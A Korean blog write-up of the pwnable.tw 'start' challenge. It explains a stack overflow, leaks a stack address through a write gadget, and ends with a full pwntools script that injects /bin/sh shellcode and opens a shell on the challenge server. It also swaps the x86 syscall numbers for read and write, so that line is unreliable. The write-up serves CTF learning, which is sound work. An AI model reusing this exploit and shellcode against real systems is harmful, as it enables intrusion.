본문 바로가기

Wargame/▷ pwnable.tw

[pwnable.tw] start

문제의 디스어셈 모습이다 

system call을 하는거 같은데 read의 syscall 번호는 4 write는 3이다.

1은 아마 exit였고 2는 fork? 였다.

write의 인자를 보면 20만큼 출력하는데 스택을 ecx에 옮긴 후 인자로 사용한다.


gdb로 스택을 분석한 모습(read에 a*8 넣은상태)인데 함수가 끝나기 직전으로 가 스택에 상황을 살펴보면 아래와 같다.

push esp - 0xffffce10
push offset _exit - 0x804809d
push 3A465443h - CTF:
push 20656874h - the\x20
push 20747261h - art\x20
push 74732073h - s\x20st
push 2774654Ch - Let'

이렇게 스택에 할당이 되있는데 read할때 문자열이 있는 주소(0xffffcdf4)에다가 넣는다.

마지막에 add esp, 14h 를 함으로써 exit로 점프하는 원리이다.

read는 60byte 까지 받기 때문에 오버플로우가 발생하며 스택에 들어있는 exit 주소를 바꿀 수있다.

심지어 nx도 안걸려있기 때문에 쉘코드 삽입이 가능하다.

먼저 'A'*20 + p32(0x8048087) 를 넣어 줌으로써 릭이 가능하다

왜냐하면 0x8048087은 write 함수 인자값 들어가기 직전 코드영역이며 mov ecx, esp 를 하기 때문에 esp(0xffffcdf4) + 0x14 + 0x4(pop eip)이 들어가 0xffffce0c 에 있는 스택값(push esp - 0xffffce10)이 leak이 된다.

write 함수로 return 해줬기 때문에 read를 또 받는다.

현재 스택 주소(0xffffce0c)에 입력을 받고 마지막에 add esp, 0x14 를 하여 ret을 하는데 read를 다시 받을때 쉘코드를 추가시켜 쉘코드가 저장된 주소를 esp+0x14 부분에 덮으면? 쉘코드가 실행된다.

payload는 'A'*20[20] + shellcode_addr[4] + shellcode[25] 이런식으로 넣으면 될 것같다.

shellcode의 주소는 leak 해줬던 주소가 0xffffce10 이기 때문에 현재 esp(0xffffce0c)보다 4 크므로 +20만 해주면 된다.


[Exploit]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
 
#s = process('./start')
= remote('chall.pwnable.tw'10000)
= ELF('./start')
 
shell = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'
 
payload = ''
payload += 'A'*20
payload += p32(0x8048087#write addr
 
s.sendafter(':', payload)
stack = u32(s.recv(1024)[:4])
print 'stack_addr : ' + hex(stack)
 
payload = ''
payload += 'A'*20
payload += p32(stack + 20)
payload += shell
s.send(payload)
 
s.interactive()
cs

'Wargame > ▷ pwnable.tw' 카테고리의 다른 글

[pwnable.tw] applestore  (0) 2018.08.03
[pwnable.tw] orw  (0) 2018.07.29
[pwnable.tw] silver_bullet  (0) 2018.07.29
[pwnable.tw] dubblesort  (0) 2018.07.29
[pwnable.tw] calc  (0) 2018.07.24